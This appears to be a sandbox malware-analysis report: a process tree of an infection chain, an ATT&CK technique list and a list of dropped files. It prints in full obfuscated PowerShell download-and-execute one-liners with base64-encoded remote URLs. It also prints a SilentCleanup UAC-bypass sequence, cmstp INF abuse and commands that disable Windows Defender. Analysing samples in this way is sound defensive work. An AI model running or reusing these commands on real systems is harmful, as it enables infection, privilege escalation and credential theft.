C:\Users\Public\pnc.exe
"C:\Users\Public\pnc.exe"
5⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:5088

C:\Users\Admin\AppData\Local\Temp\zVhjgfutyFD.exe
"C:\Users\Admin\AppData\Local\Temp\zVhjgfutyFD.exe"
6⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetWindowsHookEx
PID:3288

C:\Users\Admin\AppData\Local\Temp\zVhjgfutyFD.exe
"C:\Users\Admin\AppData\Local\Temp\zVhjgfutyFD.exe"
7⤵
- Executes dropped EXE
PID:4636

C:\Users\Admin\AppData\Local\Temp\HuytgfGDFwer.exe
"C:\Users\Admin\AppData\Local\Temp\HuytgfGDFwer.exe"
6⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetWindowsHookEx
PID:4468

C:\Users\Admin\AppData\Local\Temp\HuytgfGDFwer.exe
"C:\Users\Admin\AppData\Local\Temp\HuytgfGDFwer.exe"
7⤵
- Executes dropped EXE
- Loads dropped DLL
- Checks processor information in registry
PID:4688

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /c taskkill /pid 4688 & erase C:\Users\Admin\AppData\Local\Temp\HuytgfGDFwer.exe & RD /S /Q C:\\ProgramData\\468043462435068\\* & exit
8⤵
PID:1124

C:\Windows\SysWOW64\taskkill.exe
taskkill /pid 4688
9⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:4740

C:\Users\Public\pnc.exe
"C:\Users\Public\pnc.exe"
6⤵
- Executes dropped EXE
- Loads dropped DLL
- Drops desktop.ini file(s)
PID:4616

C:\Users\Admin\AppData\Local\Temp\xoEEhQ7GLT.exe
"C:\Users\Admin\AppData\Local\Temp\xoEEhQ7GLT.exe"
7⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4188

C:\Users\Admin\AppData\Local\Temp\xoEEhQ7GLT.exe
"C:\Users\Admin\AppData\Local\Temp\xoEEhQ7GLT.exe"
8⤵
- Executes dropped EXE
PID:4372

C:\Users\Admin\AppData\Local\Temp\xoEEhQ7GLT.exe
"C:\Users\Admin\AppData\Local\Temp\xoEEhQ7GLT.exe"
8⤵
- Executes dropped EXE
PID:4800

C:\Users\Admin\AppData\Local\Temp\xoEEhQ7GLT.exe
"C:\Users\Admin\AppData\Local\Temp\xoEEhQ7GLT.exe"
8⤵
- Executes dropped EXE
PID:4604

C:\Users\Admin\AppData\Local\Temp\Yms5gMrn3A.exe
"C:\Users\Admin\AppData\Local\Temp\Yms5gMrn3A.exe"
7⤵
- Executes dropped EXE
- Adds Run key to start application
- Modifies system certificate store
PID:2140

C:\Windows\SysWOW64\svchost.exe
"C:\Windows\System32\svchost.exe"
8⤵
PID:5916

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Public\kNhjQtso.bat" "
9⤵
PID:2084

C:\Windows\SysWOW64\reg.exe
reg delete hkcu\Environment /v windir /f
10⤵
- Modifies registry key
PID:1868

C:\Windows\SysWOW64\reg.exe
reg add hkcu\Environment /v windir /d "cmd /c start /min C:\Users\Public\x.bat reg delete hkcu\Environment /v windir /f && REM "
10⤵
- Modifies registry key
PID:4760

C:\Windows\SysWOW64\schtasks.exe
schtasks /Run /TN \Microsoft\Windows\DiskCleanup\SilentCleanup /I
10⤵
PID:4884

C:\Windows\SysWOW64\reg.exe
reg delete hkcu\Environment /v windir /f
10⤵
- Modifies registry key
PID:1320

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Public\kNhjQtso.bat" "
9⤵
PID:5384

C:\Program Files (x86)\internet explorer\ieinstal.exe
"C:\Program Files (x86)\internet explorer\ieinstal.exe"
8⤵
PID:5140

C:\Users\Admin\AppData\Local\Temp\0X6NfiXLW1.exe
"C:\Users\Admin\AppData\Local\Temp\0X6NfiXLW1.exe"
7⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of AdjustPrivilegeToken
PID:4724

C:\Users\Admin\AppData\Local\Temp\0X6NfiXLW1.exe
"C:\Users\Admin\AppData\Local\Temp\0X6NfiXLW1.exe"
8⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
PID:4836

\??\c:\windows\SysWOW64\cmstp.exe
"c:\windows\system32\cmstp.exe" /au C:\Windows\temp\joazwkiz.inf
9⤵
PID:4728

C:\Users\Admin\AppData\Local\Temp\Yk4BLKNa1Z.exe
"C:\Users\Admin\AppData\Local\Temp\Yk4BLKNa1Z.exe"
7⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of AdjustPrivilegeToken
PID:4684

C:\Users\Admin\AppData\Local\Temp\Yk4BLKNa1Z.exe
"C:\Users\Admin\AppData\Local\Temp\Yk4BLKNa1Z.exe"
8⤵
- Executes dropped EXE
- Windows security modification
PID:5036

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"powershell" Get-MpPreference -verbose
9⤵
- Suspicious use of AdjustPrivilegeToken
PID:4144

C:\Windows\SysWOW64\cmd.exe
cmd.exe /C timeout /T 10 /NOBREAK > Nul & Del /f /q "C:\Users\Public\pnc.exe"
7⤵
PID:4980

C:\Windows\SysWOW64\timeout.exe
timeout /T 10 /NOBREAK
8⤵
- Delays execution with timeout.exe
PID:4812

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\797B.tmp\m1.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
3⤵
- Suspicious use of WriteProcessMemory
PID:2116

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL iyhxbstew $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;iyhxbstew bruolc $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|bruolc;iyhxbstew cplmfksidr $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL3p4dmJjcnQudWcvenhjdmIuZXhl';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);cplmfksidr $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2192

C:\Windows\SysWOW64\timeout.exe
timeout 1
3⤵
- Delays execution with timeout.exe
PID:2976

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\797B.tmp\b.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
3⤵
- Suspicious use of WriteProcessMemory
PID:416

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL omdrklgfia $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;omdrklgfia yvshnex $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|yvshnex;omdrklgfia gemjhbnrwydsof $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL2JpdC5kby9mcWhKdg==';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);gemjhbnrwydsof $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
4⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4088

C:\Users\Public\ldz.exe
"C:\Users\Public\ldz.exe"
5⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:5100

C:\Users\Admin\AppData\Local\Temp\axcjgfhwvvas.exe
"C:\Users\Admin\AppData\Local\Temp\axcjgfhwvvas.exe"
6⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:5740

C:\Users\Admin\AppData\Local\Temp\oscjgfhwvvas.exe
"C:\Users\Admin\AppData\Local\Temp\oscjgfhwvvas.exe"
7⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:5968

C:\Users\Admin\AppData\Local\Temp\oscjgfhwvvas.exe
"{path}"
8⤵
- Executes dropped EXE
- Loads dropped DLL
- Checks processor information in registry
PID:5152

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /c taskkill /pid 5152 & erase C:\Users\Admin\AppData\Local\Temp\oscjgfhwvvas.exe & RD /S /Q C:\\ProgramData\\248482891706359\\* & exit
9⤵
PID:3276

C:\Windows\SysWOW64\taskkill.exe
taskkill /pid 5152
10⤵
- Kills process with taskkill
PID:6032

C:\Users\Admin\AppData\Local\Temp\axcjgfhwvvas.exe
"{path}"
7⤵
- Executes dropped EXE
PID:4600

C:\Users\Public\ldz.exe
"{path}"
6⤵
- Executes dropped EXE
PID:5752

C:\Users\Public\ldz.exe
"{path}"
6⤵
- Executes dropped EXE
- Loads dropped DLL
- Drops desktop.ini file(s)
PID:5780

C:\Users\Admin\AppData\Local\Temp\HXkNYAi4c4.exe
"C:\Users\Admin\AppData\Local\Temp\HXkNYAi4c4.exe"
7⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:1292

C:\Users\Admin\AppData\Local\Temp\HXkNYAi4c4.exe
"C:\Users\Admin\AppData\Local\Temp\HXkNYAi4c4.exe"
8⤵
- Executes dropped EXE
PID:3928

C:\Users\Admin\AppData\Local\Temp\v15Xka8Ssx.exe
"C:\Users\Admin\AppData\Local\Temp\v15Xka8Ssx.exe"
7⤵
- Executes dropped EXE
PID:4404

C:\Program Files (x86)\internet explorer\ieinstal.exe
"C:\Program Files (x86)\internet explorer\ieinstal.exe"
8⤵
PID:4304

C:\Users\Admin\AppData\Local\Temp\jkgBQhmV6k.exe
"C:\Users\Admin\AppData\Local\Temp\jkgBQhmV6k.exe"
7⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:6000

C:\Users\Admin\AppData\Local\Temp\jkgBQhmV6k.exe
"C:\Users\Admin\AppData\Local\Temp\jkgBQhmV6k.exe"
8⤵
- Executes dropped EXE
PID:5172

C:\Users\Admin\AppData\Local\Temp\jkgBQhmV6k.exe
"C:\Users\Admin\AppData\Local\Temp\jkgBQhmV6k.exe"
8⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
PID:3880

\??\c:\windows\SysWOW64\cmstp.exe
"c:\windows\system32\cmstp.exe" /au C:\Windows\temp\xxs1lihx.inf
9⤵
PID:4368

C:\Users\Admin\AppData\Local\Temp\AswoNvyLvJ.exe
"C:\Users\Admin\AppData\Local\Temp\AswoNvyLvJ.exe"
7⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:4784

C:\Users\Admin\AppData\Local\Temp\AswoNvyLvJ.exe
"C:\Users\Admin\AppData\Local\Temp\AswoNvyLvJ.exe"
8⤵
- Executes dropped EXE
- Windows security modification
PID:2640

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"powershell" Get-MpPreference -verbose
9⤵
PID:4256

C:\Windows\SysWOW64\cmd.exe
cmd.exe /C timeout /T 10 /NOBREAK > Nul & Del /f /q "C:\Users\Public\ldz.exe"
7⤵
PID:4656

C:\Windows\SysWOW64\timeout.exe
timeout /T 10 /NOBREAK
8⤵
- Delays execution with timeout.exe
PID:2732

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\797B.tmp\b1.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
3⤵
- Suspicious use of WriteProcessMemory
PID:3780

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL ftdrmoulpbhgsc $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;ftdrmoulpbhgsc rfmngajuyepx $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|rfmngajuyepx;ftdrmoulpbhgsc hnjmzobgr $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL3Bkc2hjanZudi51Zy96eGN2Yi5leGU=';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);hnjmzobgr $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1268

C:\Windows\SysWOW64\timeout.exe
timeout 2
3⤵
- Delays execution with timeout.exe
PID:3768

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\797B.tmp\ba.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
3⤵
- Suspicious use of WriteProcessMemory
PID:4392

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL vfudzcotabjeq $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;vfudzcotabjeq urdjneqmx $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|urdjneqmx;vfudzcotabjeq wuirkcyfmgjql $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL2JpdC5kby9mcWhKRA==';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);wuirkcyfmgjql $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
4⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4480

C:\Users\Public\adv.exe
"C:\Users\Public\adv.exe"
5⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
PID:2076

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\797B.tmp\ba1.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
3⤵
- Suspicious use of WriteProcessMemory
PID:4596

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL wvroy $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;wvroy bwskyfgqtipu $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|bwskyfgqtipu;wvroy shlevpgb $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL3JiY3h2bmIudWcvenhjdmIuZXhl';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);shlevpgb $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4704

C:\Windows\SysWOW64\DllHost.exe
C:\Windows\SysWOW64\DllHost.exe /Processid:{3E5FC7F9-9A51-4367-9063-A120244FBEC7}
1⤵
PID:4648

C:\Windows\SysWOW64\cmd.exe
cmd /c start C:\Windows\temp\s4drbjpj.exe
2⤵
PID:5096

C:\Windows\temp\s4drbjpj.exe
C:\Windows\temp\s4drbjpj.exe
3⤵
- Executes dropped EXE
PID:696

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"powershell" Get-MpPreference -verbose
4⤵
- Suspicious use of AdjustPrivilegeToken
PID:852

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -DisableArchiveScanning $true
4⤵
- Suspicious use of AdjustPrivilegeToken
PID:2156

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -DisableBlockAtFirstSeen $true
4⤵
- Suspicious use of AdjustPrivilegeToken
PID:3848

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -DisableIOAVProtection $true
4⤵
- Suspicious use of AdjustPrivilegeToken
PID:1768

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -DisablePrivacyMode $true
4⤵
- Suspicious use of AdjustPrivilegeToken
PID:4448

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -DisableScriptScanning $true
4⤵
- Suspicious use of AdjustPrivilegeToken
PID:612

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -HighThreatDefaultAction 6 -Force
4⤵
- Suspicious use of AdjustPrivilegeToken
PID:4512

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -LowThreatDefaultAction 6
4⤵
- Suspicious use of AdjustPrivilegeToken
PID:4456

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -MAPSReporting 0
4⤵
- Suspicious use of AdjustPrivilegeToken
PID:4708

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -ModerateThreatDefaultAction 6
4⤵
- Suspicious use of AdjustPrivilegeToken
PID:4656

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -SevereThreatDefaultAction 6
4⤵
- Suspicious use of AdjustPrivilegeToken
PID:4248

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -SignatureDisableUpdateOnStartupWithoutEngine $true
4⤵
- Suspicious use of AdjustPrivilegeToken
PID:4784

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -SubmitSamplesConsent 2
4⤵
- Suspicious use of AdjustPrivilegeToken
PID:3916

C:\Windows\SysWOW64\taskkill.exe
taskkill /IM cmstp.exe /F
2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:2788

C:\Windows\SysWOW64\cmd.exe
cmd /c start C:\Windows\temp\tmnj3xnh.exe
2⤵
PID:4756

C:\Windows\temp\tmnj3xnh.exe
C:\Windows\temp\tmnj3xnh.exe
3⤵
- Executes dropped EXE
PID:4432

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"powershell" Get-MpPreference -verbose
4⤵
PID:5192

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -DisableArchiveScanning $true
4⤵
PID:5456

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -DisableBlockAtFirstSeen $true
4⤵
PID:4244

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -DisableIOAVProtection $true
4⤵
PID:5228

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -DisablePrivacyMode $true
4⤵
PID:5044

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -DisableScriptScanning $true
4⤵
PID:3836

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -HighThreatDefaultAction 6 -Force
4⤵
PID:3352

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -LowThreatDefaultAction 6
4⤵
PID:6060

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -MAPSReporting 0
4⤵
PID:5048

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -ModerateThreatDefaultAction 6
4⤵
PID:4528

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -SevereThreatDefaultAction 6
4⤵
PID:2088

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -SignatureDisableUpdateOnStartupWithoutEngine $true
4⤵
PID:5052

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -SubmitSamplesConsent 2
4⤵
PID:800

C:\Windows\SysWOW64\taskkill.exe
taskkill /IM cmstp.exe /F
2⤵
- Kills process with taskkill
PID:5176

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Modify Existing Service

T1031

Registry Run Keys / Startup Folder

T1060

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Disabling Security Tools

T1089

Install Root Certificate

T1130

Credential Access

Credentials in Files

T1081

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Exfiltration

Command and Control

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\64DCC9872C5635B1B7891B30665E0558_5552C20A2631357820903FD38A8C0F9F

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\6AF4EE75E3A4ABA658C0087EB9A0BB5B_569A6A04C8591541F7E990B56F9661DA

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B2FAF7692FD9FFBD64EDE317E42334BA_979AB563CEB98F2581C14ED89B8957D4

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\64DCC9872C5635B1B7891B30665E0558_5552C20A2631357820903FD38A8C0F9F

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\6AF4EE75E3A4ABA658C0087EB9A0BB5B_569A6A04C8591541F7E990B56F9661DA

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B2FAF7692FD9FFBD64EDE317E42334BA_979AB563CEB98F2581C14ED89B8957D4

Download Submit
C:\Users\Admin\AppData\LocalLow\nb98wqnehe8bw89hb\mozglue.dll

Download Submit
C:\Users\Admin\AppData\LocalLow\nb98wqnehe8bw89hb\nss3.dll

Download Submit
C:\Users\Admin\AppData\LocalLow\nb98wqnehe8bw89hb\softokn3.dll

Download Submit
